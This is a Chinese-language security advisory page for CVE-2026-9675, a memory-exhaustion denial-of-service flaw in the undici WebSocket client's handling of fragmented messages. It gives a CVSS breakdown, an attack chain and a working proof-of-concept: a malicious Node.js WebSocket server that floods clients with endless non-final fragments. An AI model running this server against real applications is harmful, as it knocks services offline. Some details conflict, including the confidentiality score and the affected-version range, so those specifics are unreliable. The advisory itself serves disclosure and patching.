IPBUF安全漏洞报告
English
CVE-2026-9675 CVSS 7.5 高危

undici WebSocket客户端分片消息累积大小未限制导致拒绝服务漏洞

披露日期: 2026-06-17
来源: ce714d77-add3-4f53-aff5-83d477b104bb

漏洞信息

漏洞编号
CVE-2026-9675
漏洞类型
拒绝服务(内存耗尽)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
undici(Node.js HTTP客户端)

相关标签

拒绝服务内存耗尽WebSocketundiciNode.js分片消息DoS内存泄漏高危漏洞回归漏洞

漏洞概述

CVE-2026-9675是undici WebSocket客户端中的一个拒绝服务漏洞。该漏洞源于undici WebSocket客户端在处理WebSocket分片消息时,仅对每一帧(per-frame)的大小执行了maxPayloadSize限制检查,但未对分片消息的累积未压缩大小进行校验。攻击者可以通过恶意WebSocket服务器持续发送大量小分片帧,每一帧单独来看均能通过per-frame验证,但累积起来将导致客户端进程的内存无限增长,最终引发内存耗尽和拒绝服务。

该漏洞影响使用undici WebSocket客户端(即new WebSocket(...))且可能被诱导连接到攻击者控制或已被攻陷的WebSocket端点的应用程序。这是一个undici 8.1.0版本特有的回归漏洞。undici 6.25.0版本线从一开始就内置了等效的累积检查,因此不受影响;undici 7.x版本线从未引入maxPayloadSize特性,同样不受影响。

该漏洞的CVSS 3.1评分为7.5,属于高危级别。攻击向量为网络(AV:N),无需认证(PR:N),无需用户交互(UI:N),对机密性影响低(C:L),对完整性无影响(I:N),对可用性影响高(A:H)。这意味着该漏洞容易被远程利用,可导致目标服务完全不可用。

技术细节

undici是Node.js生态系统中广泛使用的HTTP/1.1客户端库,其WebSocket客户端实现在处理分片消息(fragmented messages)时存在安全缺陷。

WebSocket协议允许将单个消息分割为多个帧进行传输,接收端需要重组这些分片以还原完整消息。在undici 8.1.0版本中,maxPayloadSize参数仅用于限制单个帧的大小(per-frame validation),但在累积重组过程中未对整个消息的未压缩总大小进行校验。

攻击利用方式如下:
1. 攻击者搭建一个恶意WebSocket服务器,或攻陷一个合法的WebSocket端点。
2. 客户端通过undici的WebSocket接口连接到该恶意端点。
3. 服务器发送大量小分片帧(每个帧大小均小于maxPayloadSize限制),这些帧属于同一个未压缩消息。
4. undici客户端在接收每一帧时通过per-frame验证,但不断将分片数据累积到内存缓冲区中。
5. 由于缺少累积大小限制,内存缓冲区持续增长,最终导致客户端进程内存耗尽。
6. 客户端进程因内存不足而崩溃或变得无响应,造成拒绝服务。

此漏洞的CVSS评分向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H,表明该漏洞通过网络即可远程利用,攻击复杂度低,无需任何权限或用户交互即可触发。

攻击链分析

STEP 1
步骤1:搭建恶意WebSocket服务器
攻击者部署一个恶意的WebSocket服务器端点,或者攻陷一个合法的WebSocket服务,使其能够控制发送给客户端的数据流。
STEP 2
步骤2:诱导客户端连接
通过社会工程学、重定向或其他方式,诱导目标应用程序(使用undici WebSocket客户端)连接到攻击者控制的WebSocket端点。
STEP 3
步骤3:发送分片消息洪水
恶意服务器开始发送一个WebSocket分片消息,每个分片帧的大小均小于maxPayloadSize限制(per-frame验证通过),但服务器持续不断地发送新的分片帧,永不发送FIN结束标志。
STEP 4
步骤4:客户端内存累积
undici客户端在接收每一帧时通过per-frame验证,但不断将分片数据追加到内部缓冲区。由于缺少累积大小校验,内存使用量持续线性增长。
STEP 5
步骤5:内存耗尽导致拒绝服务
当客户端进程内存使用达到系统限制时,进程因内存不足(OOM)而被操作系统终止,或因频繁GC导致服务完全无响应,实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-9675: undici WebSocket fragmented message DoS // This PoC demonstrates a malicious WebSocket server that sends // many small fragments to exhaust client memory. // Malicious WebSocket Server (using 'ws' library) const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 8080 }); wss.on('connection', (ws) => { console.log('Client connected, starting fragmented message flood...'); // Start a fragmented message (FIN bit = 0 indicates continuation frame) // Each fragment is small enough to pass per-frame validation // but collectively they exhaust client memory const fragmentSize = 1024; // 1KB per fragment (small enough to pass per-frame check) const fragment = Buffer.alloc(fragmentSize, 'A'); // Send first frame (FIN=0, opcode=0x1 text) ws.send(fragment, { binary: false, fin: false }); // Continuously send continuation frames (FIN=0, opcode=0x0) // Each passes per-frame maxPayloadSize check // but cumulative size grows unbounded const interval = setInterval(() => { try { ws.send(fragment, { binary: false, fin: false }); } catch (e) { clearInterval(interval); console.log('Client disconnected or error:', e.message); } }, 1); // Send as fast as possible ws.on('close', () => { clearInterval(interval); console.log('Client disconnected'); }); }); console.log('Malicious WebSocket server listening on ws://localhost:8080'); // --- Vulnerable Client (undici 8.1.0) --- // const { WebSocket } = require('undici'); // const ws = new WebSocket('ws://localhost:8080', { // maxPayloadSize: 4096 // Only enforces per-frame, not cumulative // }); // ws.onmessage = (event) => { /* client memory grows unbounded */ };

影响范围

undici 8.1.0(该漏洞为8.1.0特有的回归)
undici > 8.1.0 且 < 8.5.0

防御指南

临时缓解措施
目前没有可用的临时缓解措施,官方明确表示该漏洞无法通过配置绕过,必须通过升级到undici 8.5.0或更高版本来修复。建议尽快评估影响范围并安排升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表